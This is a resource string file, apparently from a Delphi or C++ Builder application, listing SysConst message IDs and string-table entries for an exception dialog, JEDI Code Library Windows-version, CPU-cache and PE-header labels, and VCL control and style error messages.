#define System_SysConst_SShortMonthNameAug 65464 #define System_SysConst_SShortMonthNameSep 65465 #define System_SysConst_SShortMonthNameOct 65466 #define System_SysConst_SShortMonthNameNov 65467 #define System_SysConst_SShortMonthNameDec 65468 #define System_SysConst_SLongMonthNameJan 65469 #define System_SysConst_SLongMonthNameFeb 65470 #define System_SysConst_SLongMonthNameMar 65471 #define System_SysConst_SVarBadType 65472 #define System_SysConst_SVarNotImplemented 65473 #define System_SysConst_SVarUnexpected 65474 #define System_SysConst_SExternalException 65475 #define System_SysConst_SAssertionFailed 65476 #define System_SysConst_SIntfCastError 65477 #define System_SysConst_SSafecallException 65478 #define System_SysConst_SMonitorLockException 65479 #define System_SysConst_SNoMonitorSupportException 65480 #define System_SysConst_SNotImplemented 65481 #define System_SysConst_SAssertError 65482 #define System_SysConst_SAbstractError 65483 #define System_SysConst_SModuleAccessViolation 65484 #define System_SysConst_SCannotReadPackageInfo 65485 #define System_SysConst_sErrorLoadingPackage 65486 #define System_SysConst_SOSError 65487 #define System_SysConst_SWriteAccess 65488 #define System_SysConst_SVarArrayCreate 65489 #define System_SysConst_SVarArrayBounds 65490 #define System_SysConst_SVarArrayLocked 65491 #define System_SysConst_SInvalidVarCast 65492 #define System_SysConst_SInvalidVarOp 65493 #define System_SysConst_SInvalidVarNullOp 65494 #define System_SysConst_SInvalidVarOpWithHResultWithPrefix 65495 #define System_SysConst_SVarTypeOutOfRangeWithPrefix 65496 #define System_SysConst_SVarTypeAlreadyUsedWithPrefix 65497 #define System_SysConst_SVarTypeNotUsableWithPrefix 65498 #define System_SysConst_SVarTypeTooManyCustom 65499 #define System_SysConst_SVarTypeCouldNotConvert 65500 #define System_SysConst_SVarTypeConvertOverflow 65501 #define System_SysConst_SVarOverflow 65502 #define System_SysConst_SVarInvalid 65503 #define System_SysConst_SZeroDivide 65504 #define System_SysConst_SOverflow 65505 #define System_SysConst_SUnderflow 65506 #define System_SysConst_SInvalidPointer 65507 #define System_SysConst_SInvalidCast 65508 #define System_SysConst_SAccessViolationArg3 65509 #define System_SysConst_SAccessViolationNoArg 65510 #define System_SysConst_SStackOverflow 65511 #define System_SysConst_SControlC 65512 #define System_SysConst_SPrivilege 65513 #define System_SysConst_SException 65514 #define System_SysConst_SExceptTitle 65515 #define System_SysConst_SInvalidFormat 65516 #define System_SysConst_SArgumentMissing 65517 #define System_SysConst_SDispatchError 65518 #define System_SysConst_SReadAccess 65519 #define System_SysConst_SUnknown 65520 #define System_SysConst_SInvalidFloat 65521 #define System_SysConst_SInvalidTimeStamp 65522 #define System_SysConst_SInvalidGUID 65523 #define System_SysConst_SDateEncodeError 65524 #define System_SysConst_SOutOfMemory 65525 #define System_SysConst_SInOutError 65526 #define System_SysConst_STooManyOpenFiles 65527 #define System_SysConst_SAccessDenied 65528 #define System_SysConst_SEndOfFile 65529 #define System_SysConst_SDiskFull 65530 #define System_SysConst_SInvalidInput 65531 #define System_SysConst_SDivByZero 65532 #define System_SysConst_SRangeError 65533 #define System_SysConst_SIntOverflow 65534 #define System_SysConst_SInvalidOp 65535 STRINGTABLE BEGIN uExceptionDialog_RsExceptionStack, L"Exception stack" uExceptionDialog_RsMainThreadID, L"Main thread ID = %d" uExceptionDialog_RsExceptionThreadID, L"Exception thread ID = %d" uExceptionDialog_RsMainThreadCallStack, L"Call stack for main thread" uExceptionDialog_RsThreadCallStack, L"Call stack for thread %d %s \"%s\"" uExceptionDialog_RsErrorMessage, L"There was an error during the execution of this program.\r\nThe application might become unstable and even useless.\r\nIt's recommended that you save your work and close this application.\r\n\r\n" uExceptionDialog_RsDetailsIntro, L"Exception log with detailed tech info. Generated on %s.\r\nYou may send it to the application vendor, helping him to understand what had happened.\r\n Application title: %s\r\n Application file: %s" uExceptionDialog_RsUnitVersioningIntro, L"Unit versioning information:" Vcl_Imaging_JConsts_sChangeJPGSize, L"Cannot change the size of a JPEG image" Vcl_Imaging_JConsts_sJPEGError, L"JPEG error #%d" Vcl_Imaging_JConsts_sJPEGImageFile, L"JPEG Image File" uExceptionDialog_RsAppError, L"%s - application error" uExceptionDialog_RsExceptionClass, L"Exception class: %s" uExceptionDialog_RsExceptionMessage, L"Exception message: %s" uExceptionDialog_RsExceptionAddr, L"Exception address: %p" uExceptionDialog_RsStackList, L"Stack list, generated %s" uExceptionDialog_RsModulesList, L"List of loaded modules:" uExceptionDialog_RsOSVersion, L"System : %s %s, Version: %d.%d, Build: %x, \"%s\"" uExceptionDialog_RsProcessor, L"Processor: %s, %s, %d MHz" uExceptionDialog_RsMemory, L"Memory: %d; free %d" uExceptionDialog_RsScreenRes, L"Display : %dx%d pixels, %d bpp" uExceptionDialog_RsActiveControl, L"Active Controls hierarchy:" uExceptionDialog_RsThread, L"Thread: %s" uExceptionDialog_RsMissingVersionInfo, L"(no module version info)" JclResources_RsProductTypeServer, L"Server" JclResources_RsProductTypeAdvancedServer, L"Advanced Server" JclResources_RsProductTypePersonal, L"Home Edition" JclResources_RsProductTypeProfessional, L"Professional" JclResources_RsProductTypeDatacenterServer, L"Datacenter Server" JclResources_RsProductTypeEnterprise, L"Enterprise" JclResources_RsProductTypeWebEdition, L"Web Edition" JclResources_RsSPInfo, L"SP%u" JclResources_RsCannotWriteRefStream, L"Can not write to a read-only memory stream" JclResources_RsInvalidMMFName, L"Invalid MMF name \"%s\"" JclResources_RsInvalidMMFEmpty, L"The MMF named \"%s\" cannot be created empty" JclResources_RsHasNotTD32Info, L"File [%s] has not TD32 debug information!" JclResources_RsEUnexpectedEOSeq, L"Unexpected end of sequence" JclResources_RsWin32Error, L"Win32 error: %s (%u)%s%s" JclResources_RsELibraryNotFound, L"Library not found: %s" JclResources_RsEFunctionNotFound, L"Function not found: %s.%s" JclResources_RsEditionWinVistaHomeBasicN, L"Home Basic N" JclResources_RsEditionWinVistaHomePremium, L"Home Premium" JclResources_RsEditionWinVistaBusiness, L"Business" JclResources_RsEditionWinVistaBusinessN, L"Business N" JclResources_RsEditionWinVistaEnterprise, L"Enterprise" JclResources_RsEditionWinVistaUltimate, L"Ultimate" JclResources_RsEditionWin7Starter, L"Starter" JclResources_RsEditionWin7HomeBasic, L"Home Basic" JclResources_RsEditionWin7HomePremium, L"Home Premium" JclResources_RsEditionWin7Professional, L"Professional" JclResources_RsEditionWin7Enterprise, L"Enterprise" JclResources_RsEditionWin7Ultimate, L"Ultimate" JclResources_RsEditionWin8Pro, L"Pro" JclResources_RsEditionWin8Enterprise, L"Enterprise" JclResources_RsEditionWin8RT, L"RT" JclResources_RsProductTypeWorkStation, L"Workstation" JclResources_RsOSVersionWinServer2008R2, L"Windows Server 2008 R2" JclResources_RsOSVersionWin8, L"Windows 8" JclResources_RsOSVersionWinServer2012, L"Windows Server 2012" JclResources_RsEditionWinXPHome, L"Home Edition" JclResources_RsEditionWinXPPro, L"Professional" JclResources_RsEditionWinXPHomeN, L"Home Edition N" JclResources_RsEditionWinXPProN, L"Professional N" JclResources_RsEditionWinXPHomeK, L"Home Edition K" JclResources_RsEditionWinXPProK, L"Professional K" JclResources_RsEditionWinXPHomeKN, L"Home Edition KN" JclResources_RsEditionWinXPProKN, L"Professional KN" JclResources_RsEditionWinXPStarter, L"Starter Edition" JclResources_RsEditionWinXPMediaCenter, L"Media Center Edition" JclResources_RsEditionWinXPTablet, L"Tablet PC Edition" JclResources_RsEditionWinVistaStarter, L"Starter" JclResources_RsEditionWinVistaHomeBasic, L"Home Basic" JclResources_RsUnknownAMDModel, L"Unknown AMD (Model %d)" JclResources_RsOSVersionWin95, L"Windows 95" JclResources_RsOSVersionWin95OSR2, L"Windows 95 OSR2" JclResources_RsOSVersionWin98, L"Windows 98" JclResources_RsOSVersionWin98SE, L"Windows 98 SE" JclResources_RsOSVersionWinME, L"Windows ME" JclResources_RsOSVersionWinNT3, L"Windows NT 3.%u" JclResources_RsOSVersionWinNT4, L"Windows NT 4.%u" JclResources_RsOSVersionWin2000, L"Windows 2000" JclResources_RsOSVersionWinXP, L"Windows XP" JclResources_RsOSVersionWin2003, L"Windows Server 2003" JclResources_RsOSVersionWin2003R2, L"Windows Server 2003 R2" JclResources_RsOSVersionWinXP64, L"Windows XP x64" JclResources_RsOSVersionWinVista, L"Windows Vista" JclResources_RsOSVersionWinServer2008, L"Windows Server 2008" JclResources_RsOSVersionWin7, L"Windows 7" JclResources_RsIntelCacheDescrD2, L"3rd-level cache: 2 MByte, 4-way set associative, 64 byte line size" JclResources_RsIntelCacheDescrD6, L"3rd-level cache: 1 MByte, 8-way set associative, 64 byte line size" JclResources_RsIntelCacheDescrD7, L"3rd-level cache: 2 MByte, 8-way set associative, 64 byte line size" JclResources_RsIntelCacheDescrD8, L"3rd-level cache: 4 MByte, 8-way set associative, 64 byte line size" JclResources_RsIntelCacheDescrDC, L"3rd-level cache: 1.5 MByte, 12-way set associative, 64 byte line size" JclResources_RsIntelCacheDescrDD, L"3rd-level cache: 3 MByte, 12-way set associative, 64 byte line size" JclResources_RsIntelCacheDescrDE, L"3rd-level cache: 6 MByte, 12-way set associative, 64 byte line size" JclResources_RsIntelCacheDescrE2, L"3rd-level cache: 2 MByte, 16-way set associative, 64 byte line size" JclResources_RsIntelCacheDescrE3, L"3rd-level cache: 4 MByte, 16-way set associative, 64 byte line size" JclResources_RsIntelCacheDescrE4, L"3rd-level cache: 8 MByte, 16-way set associative, 64 byte line size" JclResources_RsIntelCacheDescrEA, L"3rd-level cache: 12 MByte, 24-way set associative, 64 byte line size" JclResources_RsIntelCacheDescrEB, L"3rd-level cache: 18 MByte, 24-way set associative, 64 byte line size" JclResources_RsIntelCacheDescrEC, L"3rd-level cache: 24 MByte, 24-way set associative, 64 byte line size" JclResources_RsIntelCacheDescrF0, L"64-Byte Prefetching" JclResources_RsIntelCacheDescrF1, L"128-Byte Prefetching" JclResources_RsIntelCacheDescrFF, L"CPUID leaf 2 does not report cache descriptor information, use CPUID leaf 4 to query cache parameters" JclResources_RsIntelCacheDescr82, L"2nd-level cache: 256 KBytes, 8-way associative, 32 byte line size" JclResources_RsIntelCacheDescr83, L"2nd-level cache: 512 KBytes, 8-way associative, 32 byte line size" JclResources_RsIntelCacheDescr84, L"2nd-level cache: 1 MBytes, 8-way associative, 32 byte line size" JclResources_RsIntelCacheDescr85, L"2nd-level cache: 2 MBytes, 8-way associative, 32 byte line size" JclResources_RsIntelCacheDescr86, L"2nd-level cache: 512 KByte, 4-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr87, L"2nd-level cache: 1 MByte, 8-way set associative, 64 byte line size" JclResources_RsIntelCacheDescrB0, L"Instruction TLB: 4 KByte pages, 4-way set associative, 128 entries" JclResources_RsIntelCacheDescrB1, L"Instruction TLB: 2 MByte pages, 4-way, 8 entries or 4 MByte pages, 4-way, 4 entries" JclResources_RsIntelCacheDescrB2, L"Instruction TLB: 4 KByte pages, 4-way set associative, 64 entries" JclResources_RsIntelCacheDescrB3, L"Data TLB: 4 KByte pages, 4-way set associative, 128 entries" JclResources_RsIntelCacheDescrB4, L"Data TLB1: 4 KByte pages, 4-way set associative, 256 entries" JclResources_RsIntelCacheDescrBA, L"Data TLB1: 4 KByte pages, 4-way set associative, 64 entries" JclResources_RsIntelCacheDescrC0, L"Data TLB: 4 KByte and 4 MByte pages, 4-way set associative, 8 entries" JclResources_RsIntelCacheDescrCA, L"Shared 2nd-Level TLB: 4 KByte pages, 4-way associative, 512 entries" JclResources_RsIntelCacheDescrD0, L"3rd-level cache: 512 KByte, 4-way set associative, 64 byte line size" JclResources_RsIntelCacheDescrD1, L"3rd-level cache: 1 MByte, 4-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr66, L"1st-level data cache: 8 KBytes, 4-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr67, L"1st-level data cache: 16 KBytes, 4-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr68, L"1st-level data cache: 32 KBytes, 4-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr70, L"Trace cache: 12 K-Ops, 8-way set associative" JclResources_RsIntelCacheDescr71, L"Trace cache: 16 K-Ops, 8-way set associative" JclResources_RsIntelCacheDescr72, L"Trace cache: 32 K-Ops, 8-way set associative" JclResources_RsIntelCacheDescr73, L"Trace cache: 64 K-Ops, 8-way set associative" JclResources_RsIntelCacheDescr76, L"Instruction TLB: 2M/4M pages, fully associative, 8 entries" JclResources_RsIntelCacheDescr78, L"2nd-level cache: 1 MBytes, 4-way set associative, 64 bytes line size" JclResources_RsIntelCacheDescr79, L"2nd-level cache: 128 KBytes, 8-way set associative, 64 bytes line size, 2 lines per sector" JclResources_RsIntelCacheDescr7A, L"2nd-level cache: 256 KBytes, 8-way set associative, 64 bytes line size, 2 lines per sector" JclResources_RsIntelCacheDescr7B, L"2nd-level cache: 512 KBytes, 8-way set associative, 64 bytes line size, 2 lines per sector" JclResources_RsIntelCacheDescr7C, L"2nd-level cache: 1 MBytes, 8-way set associative, 64 bytes line size, 2 lines per sector" JclResources_RsIntelCacheDescr7D, L"2nd-level cache: 2 MBytes, 8-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr7F, L"2nd-level cache: 512 KBytes, 2-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr80, L"2nd-level cache: 512 KBytes, 8-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr4C, L"3rd-level cache: 12MByte, 12-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr4D, L"3rd-level cache: 16MByte, 16-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr4E, L"2nd-level cache: 6MByte, 24-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr4F, L"Instruction TLB: 4 KByte pages, 32 Entries" JclResources_RsIntelCacheDescr50, L"Instruction TLB: 4 KByte and 2 MByte or 4 MByte pages, 64 Entries" JclResources_RsIntelCacheDescr51, L"Instruction TLB: 4 KByte and 2 MByte or 4 MByte pages, 128 Entries" JclResources_RsIntelCacheDescr52, L"Instruction TLB: 4 KByte and 2 MByte or 4 MByte pages, 256 Entries" JclResources_RsIntelCacheDescr55, L"Instruction TLB: 2-MByte or 4-MByte pages, fully associative, 7 entries" JclResources_RsIntelCacheDescr56, L"Data TLB0: 4 MByte pages, 4-way set associative, 16 entries" JclResources_RsIntelCacheDescr57, L"Data TLB0: 4 KByte pages, 4-way associative, 16 entries" JclResources_RsIntelCacheDescr59, L"Data TLB0: 4 KByte pages, fully associative, 16 entries" JclResources_RsIntelCacheDescr5A, L"Data TLB0: 2 MByte or 4 MByte pages, 4-way set associative, 32 entries" JclResources_RsIntelCacheDescr5B, L"Data TLB: 4 KByte and 4 MByte pages, 64 Entries" JclResources_RsIntelCacheDescr5C, L"Data TLB: 4 KByte and 4 MByte pages, 128 Entries" JclResources_RsIntelCacheDescr5D, L"Data TLB: 4 KByte and 4 MByte pages, 256 Entries" JclResources_RsIntelCacheDescr60, L"1st-level data cache: 16 KByte, 8-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr3B, L"2nd-level cache: 128 KBytes, 2-way set associative, sectored cache, 64-byte line size" JclResources_RsIntelCacheDescr3C, L"2nd-level cache: 256 KBytes, 4-way set associative, sectored cache, 64-byte line size" JclResources_RsIntelCacheDescr3D, L"2nd-level cache: 384 KBytes, 6-way set associative, sectored cache, 64-byte line size" JclResources_RsIntelCacheDescr3E, L"2nd-level cache: 512 KBytes, 4-way set associative, sectored cache, 64-byte line size" JclResources_RsIntelCacheDescr40, L"No 2nd-level cache or, if processor contains a valid 2nd-level cache, no 3rd-level cache" JclResources_RsIntelCacheDescr41, L"2nd-level cache: 128 KBytes, 4-way set associative, 32 byte line size" JclResources_RsIntelCacheDescr42, L"2nd-level cache: 256 KBytes, 4-way set associative, 32 byte line size" JclResources_RsIntelCacheDescr43, L"2nd-level cache: 512 KBytes, 4-way set associative, 32 byte line size" JclResources_RsIntelCacheDescr44, L"2nd-level cache: 1 MBytes, 4-way set associative, 32 byte line size" JclResources_RsIntelCacheDescr45, L"2nd-level cache: 2 MBytes, 4-way set associative, 32 byte line size" JclResources_RsIntelCacheDescr46, L"3rd-level cache: 4 MBytes, 4-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr47, L"3rd-level cache: 8 MBytes, 4-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr48, L"3rd-level cache: 8 MByte, 8-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr49, L"2nd-level cache: 4 MBytes, 16-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr4A, L"3rd-level cache: 6MByte, 12-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr4B, L"3rd-level cache: 8MByte, 16-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr08, L"1st level instruction cache: 16 KBytes, 4-way set associative, 32 byte line size" JclResources_RsIntelCacheDescr09, L"1st level instruction cache: 32 KBytes, 4-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr0A, L"1st level data cache: 8 KBytes, 2-way set associative, 32 byte line size" JclResources_RsIntelCacheDescr0B, L"Instruction TLB: 4 MByte pages, 4-way set associative, 4 entries" JclResources_RsIntelCacheDescr0C, L"1st level data cache: 16 KBytes, 4-way set associative, 32 byte line size" JclResources_RsIntelCacheDescr0D, L"1st level data cache: 16 KBytes, 4-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr0E, L"1st level data cache: 24 KBytes, 6-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr21, L"2nd level cache: 256 KBytes, 8-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr22, L"3rd level cache: 512 KBytes, 4-way set associative, 64 byte line size, 2 lines per sector" JclResources_RsIntelCacheDescr23, L"3rd level cache: 1 MBytes, 8-way set associative, 64 byte line size, 2 lines per sector" JclResources_RsIntelCacheDescr25, L"3rd level cache: 2 MBytes, 8-way set associative, 64 byte line size, 2 lines per sector" JclResources_RsIntelCacheDescr29, L"3rd level cache: 4 MBytes, 8-way set associative, 64 byte line size, 2 lines per sector" JclResources_RsIntelCacheDescr2C, L"1st level data cache: 32 KBytes, 8-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr30, L"1st level instruction cache: 32 KBytes, 8-way set associative, 64 byte line size" JclResources_RsIntelCacheDescr39, L"2nd-level cache: 128 KBytes, 4-way set associative, sectored cache, 64-byte line size" JclResources_RsIntelCacheDescr3A, L"2nd-level cache: 192 KBytes, 6-way set associative, sectored cache, 64-byte line size" JclResources_RsPePkgImplicit, L"Implicit" JclResources_RsUnableToOpenKeyRead, L"Unable to open key \"%s\\%s\" for read" JclResources_RsUnableToAccessValue, L"Unable to open key \"%s\\%s\" and access value \"%s\"" JclResources_RsWrongDataType, L"\"%s\\%s\\%s\" is of wrong kind or size" JclResources_RsInconsistentPath, L"\"%s\" does not match RootKey" JclResources_RsSynchCreateMutex, L"Failed to create mutex" JclResources_RsSynchOpenMutex, L"Failed to open mutex" JclResources_RsSystemProcess, L"System Process" JclResources_RsSystemIdleProcess, L"System Idle Process" JclResources_RsIntelCacheDescr00, L"Null descriptor" JclResources_RsIntelCacheDescr01, L"Instruction TLB: 4 KByte pages, 4-way set associative, 32 entries" JclResources_RsIntelCacheDescr02, L"Instruction TLB: 4 MByte pages, 4-way set associative, 2 entries" JclResources_RsIntelCacheDescr03, L"Data TLB: 4 KByte pages, 4-way set associative, 64 entries" JclResources_RsIntelCacheDescr04, L"Data TLB: 4 MByte pages, 4-way set associative, 8 entries" JclResources_RsIntelCacheDescr05, L"Data TLB1: 4 MByte pages, 4-way set associative, 32 entries" JclResources_RsIntelCacheDescr06, L"1st level instruction cache: 8 KBytes, 4-way set associative, 32 byte line size" JclResources_RsPeDEBUG_OMAP_TO_SRC, L"OMAP_TO_SRC" JclResources_RsPeDEBUG_OMAP_FROM_SRC, L"OMAP_FROM_SRC" JclResources_RsPePkgExecutable, L"Executable" JclResources_RsPePkgPackage, L"Package" JclResources_PsPePkgLibrary, L"Library" JclResources_RsPePkgNeverBuild, L"NeverBuild" JclResources_RsPePkgDesignOnly, L"DesignOnly" JclResources_RsPePkgRunOnly, L"RunOnly" JclResources_RsPePkgIgnoreDupUnits, L"IgnoreDupUnits" JclResources_RsPePkgV3Produced, L"Delphi 3 or C++ Builder 3" JclResources_RsPePkgProducerUndefined, L"Undefined" JclResources_RsPePkgBCB4Produced, L"C++ Builder 4 or later" JclResources_RsPePkgDelphi4Produced, L"Delphi 4 or later" JclResources_RsPePkgMain, L"Main" JclResources_RsPePkgWeak, L"Weak" JclResources_RsPePkgOrgWeak, L"OrgWeak" JclResources_RsPeMACHINE_M32R, L"M32R little-endian" JclResources_RsPeMACHINE_CEE, L"CEE" JclResources_RsPeSUBSYSTEM_UNKNOWN, L"Unknown" JclResources_RsPeSUBSYSTEM_NATIVE, L"Native" JclResources_RsPeSUBSYSTEM_WINDOWS_GUI, L"GUI" JclResources_RsPeSUBSYSTEM_WINDOWS_CUI, L"Console" JclResources_RsPeSUBSYSTEM_OS2_CUI, L"OS/2" JclResources_RsPeSUBSYSTEM_POSIX_CUI, L"Posix" JclResources_RsPeSUBSYSTEM_RESERVED8, L"Reserved 8" JclResources_RsPeDEBUG_UNKNOWN, L"UNKNOWN" JclResources_RsPeDEBUG_COFF, L"COFF" JclResources_RsPeDEBUG_CODEVIEW, L"CODEVIEW" JclResources_RsPeDEBUG_FPO, L"FPO" JclResources_RsPeDEBUG_MISC, L"MISC" JclResources_RsPeDEBUG_EXCEPTION, L"EXCEPTION" JclResources_RsPeDEBUG_FIXUP, L"FIXUP" JclResources_RsPeMACHINE_SH4, L"SH4 little-endian" JclResources_RsPeMACHINE_SH5, L"SH5" JclResources_RsPeMACHINE_ARM, L"ARM Little-Endian" JclResources_RsPeMACHINE_THUMB, L"THUMB" JclResources_RsPeMACHINE_AM33, L"AM33" JclResources_RsPeMACHINE_POWERPC, L"IBM PowerPC Little-Endian" JclResources_RsPeMACHINE_POWERPCFP, L"IBM PowerPC FP" JclResources_RsPeMACHINE_IA64, L"Intel 64" JclResources_RsPeMACHINE_MIPS16, L"MIPS16" JclResources_RsPeMACHINE_AMPHA64, L"ALPHA64" JclResources_RsPeMACHINE_MIPSFPU, L"MIPSFPU" JclResources_RsPeMACHINE_MIPSFPU16, L"MIPSFPU16" JclResources_RsPeMACHINE_TRICORE, L"Infineon" JclResources_RsPeMACHINE_CEF, L"CEF" JclResources_RsPeMACHINE_EBC, L"EFI Byte Code" JclResources_RsPeMACHINE_AMD64, L"AMD64 (K8)" JclResources_RsPeVirtualMemoryThreshold, L"VirtualMemoryThreshold" JclResources_RsPeProcessHeapFlags, L"ProcessHeapFlags" JclResources_RsPeProcessAffinityMask, L"ProcessAffinityMask" JclResources_RsPeCSDVersion, L"CSDVersion" JclResources_RsPeReserved, L"Reserved" JclResources_RsPeEditList, L"EditList" JclResources_RsPeMACHINE_UNKNOWN, L"Unknown" JclResources_RsPeMACHINE_I386, L"Intel 386" JclResources_RsPeMACHINE_R3000, L"MIPS little-endian R3000" JclResources_RsPeMACHINE_R4000, L"MIPS little-endian R4000" JclResources_RsPeMACHINE_R10000, L"MIPS little-endian R10000" JclResources_RsPeMACHINE_WCEMIPSV2, L"MIPS little-endian WCE v2" JclResources_RsPeMACHINE_ALPHA, L"Alpha_AXP" JclResources_RsPeMACHINE_SH3, L"SH3 little-endian" JclResources_RsPeMACHINE_SH3DSP, L"SH3 DSP" JclResources_RsPeMACHINE_SH3E, L"SH3E little-endian" JclResources_RsPeSubsystem, L"Subsystem" JclResources_RsPeDllCharacteristics, L"Dll Characteristics" JclResources_RsPeSizeOfStackReserve, L"Size of Stack Reserve" JclResources_RsPeSizeOfStackCommit, L"Size of Stack Commit" JclResources_RsPeSizeOfHeapReserve, L"Size of Heap Reserve" JclResources_RsPeSizeOfHeapCommit, L"Size of Heap Commit" JclResources_RsPeLoaderFlags, L"Loader Flags" JclResources_RsPeNumberOfRvaAndSizes, L"Number of RVA" JclResources_RsPeVersion, L"Version" JclResources_RsPeGlobalFlagsClear, L"GlobalFlagsClear" JclResources_RsPeGlobalFlagsSet, L"GlobalFlagsSet" JclResources_RsPeCriticalSectionDefaultTimeout, L"CriticalSectionDefaultTimeout" JclResources_RsPeDeCommitFreeBlockThreshold, L"DeCommitFreeBlockThreshold" JclResources_RsPeDeCommitTotalFreeThreshold, L"DeCommitTotalFreeThreshold" JclResources_RsPeLockPrefixTable, L"LockPrefixTable" JclResources_RsPeMaximumAllocationSize, L"MaximumAllocationSize" JclResources_RsPeSizeOfCode, L"Size of Code" JclResources_RsPeSizeOfInitializedData, L"Size of Initialized Data" JclResources_RsPeSizeOfUninitializedData, L"Size of Uninitialized Data" JclResources_RsPeAddressOfEntryPoint, L"Address of Entry Point" JclResources_RsPeBaseOfCode, L"Base of Code" JclResources_RsPeBaseOfData, L"Base of Data" JclResources_RsPeImageBase, L"Image Base" JclResources_RsPeSectionAlignment, L"Section Alignment" JclResources_RsPeFileAlignment, L"File Alignment" JclResources_RsPeOperatingSystemVersion, L"Operating System Version" JclResources_RsPeImageVersion, L"Image Version" JclResources_RsPeSubsystemVersion, L"Subsystem Version" JclResources_RsPeWin32VersionValue, L"Win32 Version" JclResources_RsPeSizeOfImage, L"Size of Image" JclResources_RsPeSizeOfHeaders, L"Size of Headers" JclResources_RsPeCheckSum, L"CheckSum" JclResources_RsPeImg_10, L"Load configuration" JclResources_RsPeImg_11, L"Bound Import" JclResources_RsPeImg_12, L"IAT" JclResources_RsPeImg_13, L"Delay load import" JclResources_RsPeImg_14, L"COM run-time" JclResources_RsPeImg_Reserved, L"reserved [%.2d]" JclResources_RsPeSignature, L"Signature" JclResources_RsPeMachine, L"Machine" JclResources_RsPeNumberOfSections, L"Number of Sections" JclResources_RsPeTimeDateStamp, L"Time Date Stamp" JclResources_RsPePointerToSymbolTable, L"Symbols Pointer" JclResources_RsPeNumberOfSymbols, L"Number of Symbols" JclResources_RsPeSizeOfOptionalHeader, L"Size of Optional Header" JclResources_RsPeCharacteristics, L"Characteristics" JclResources_RsPeMagic, L"Magic" JclResources_RsPeLinkerVersion, L"Linker Version" JclResources_RsPeCantOpen, L"Cannot open file \"%s\"" JclResources_RsPeNotPE, L"This is not a PE format" JclResources_RsPeUnknownTarget, L"Unknown PE target" JclResources_RsPeNotResDir, L"Not a resource directory" JclResources_RsPeNotAvailableForAttached, L"Feature is not available for attached images" JclResources_RsPeSectionNotFound, L"Section \"%s\" not found" JclResources_RsPeImg_00, L"Exports" JclResources_RsPeImg_01, L"Imports" JclResources_RsPeImg_02, L"Resources" JclResources_RsPeImg_03, L"Exceptions" JclResources_RsPeImg_04, L"Security" JclResources_RsPeImg_05, L"Base Relocations" JclResources_RsPeImg_06, L"Debug" JclResources_RsPeImg_07, L"Description" JclResources_RsPeImg_08, L"Machine Value" JclResources_RsPeImg_09, L"TLS" JclResources_RsEReplacementChar, L"Failed to get ANSI replacement character" JclResources_RsDateConversion, L"Error illegal date or time format" JclResources_RsUnknownFunctionAt, L"Unknown function at %s" JclResources_RsEWindowsVersionNotSupported, L"This windows version is not supported" JclResources_RsEWindowNotValid, L"The window with handle %d is not valid" JclResources_RsEProcessNotValid, L"The process with ID %d is not valid" JclResources_RsEModuleNotValid, L"The Module with handle %d is not valid" JclResources_RsFileUtilsNoVersionInfo, L"File contains no version information" JclResources_RsFileUtilsFileDoesNotExist, L"The file %s does not exist" JclResources_RsFileUtilsLanguageIndex, L"Illegal language index" JclResources_RsFileUtilsEmptyValue, L"No value was supplied" JclResources_RsFileUtilsValueNotFound, L"The value %s was not found." JclResources_RsCreateFileMapping, L"Failed to create FileMapping" JclResources_RsCreateFileMappingView, L"Failed to create FileMappingView" JclResources_RsFailedToObtainSize, L"Failed to obtain size of file" JclResources_RsPeReadOnlyStream, L"Stream is read-only" System_Win_ComConst_SOleError, L"OLE error %.8x" System_Win_ComConst_SNoMethod, L"Method '%s' not supported by automation object" System_Win_ComConst_SVarNotObject, L"Variant does not reference an automation object" System_Win_ComConst_STooManyParams, L"Dispatch methods do not support more than 64 parameters" Vcl_ComStrs_sTabFailClear, L"Failed to clear tab control" Vcl_ComStrs_sTabFailDelete, L"Failed to delete tab at index %d" Vcl_ComStrs_sTabFailRetrieve, L"Failed to retrieve tab at index %d" Vcl_ComStrs_sTabFailGetObject, L"Failed to get object at index %d" Vcl_ComStrs_sTabFailSet, L"Failed to set tab \"%s\" at index %d" Vcl_ComStrs_sTabFailSetObject, L"Failed to set object at index %d" Vcl_ComStrs_sTabMustBeMultiLine, L"MultiLine must be True when TabPosition is tpLeft or tpRight" Vcl_ComStrs_sInvalidOwner, L"Invalid owner" Vcl_ComStrs_sRichEditInsertError, L"RichEdit line insertion error" Vcl_ComStrs_sRichEditLoadFail, L"Failed to Load Stream" Vcl_ComStrs_sRichEditSaveFail, L"Failed to Save Stream" Vcl_ComStrs_sPageIndexError, L"%d is an invalid PageIndex value. PageIndex must be between 0 and %d" Vcl_Consts_SPageControlNotSet, L"PageControl must first be assigned" Vcl_Consts_SWindowsVistaRequired, L"%s requires Windows Vista or later" Vcl_Consts_STaskDlgButtonCaption, L"Button%d" Vcl_Consts_STaskDlgRadioButtonCaption, L"RadioButton%d" Vcl_Consts_SInvalidTaskDlgButtonCaption, L"Caption cannot be empty" Vcl_Consts_SStyleLoadError, L"Unable to load style '%s'" Vcl_Consts_SStyleLoadErrors, L"Unable to load styles: %s" Vcl_Consts_SStyleRegisterError, L"Style '%s' already registered" Vcl_Consts_SStyleClassRegisterError, L"Style class '%s' already registered" Vcl_Consts_SStyleNotFound, L"Style '%s' not found" Vcl_Consts_SStyleClassNotFound, L"Style class '%s' not found" Vcl_Consts_SStyleInvalidHandle, L"Invalid style handle" Vcl_Consts_SStyleFormatError, L"Invalid style format" 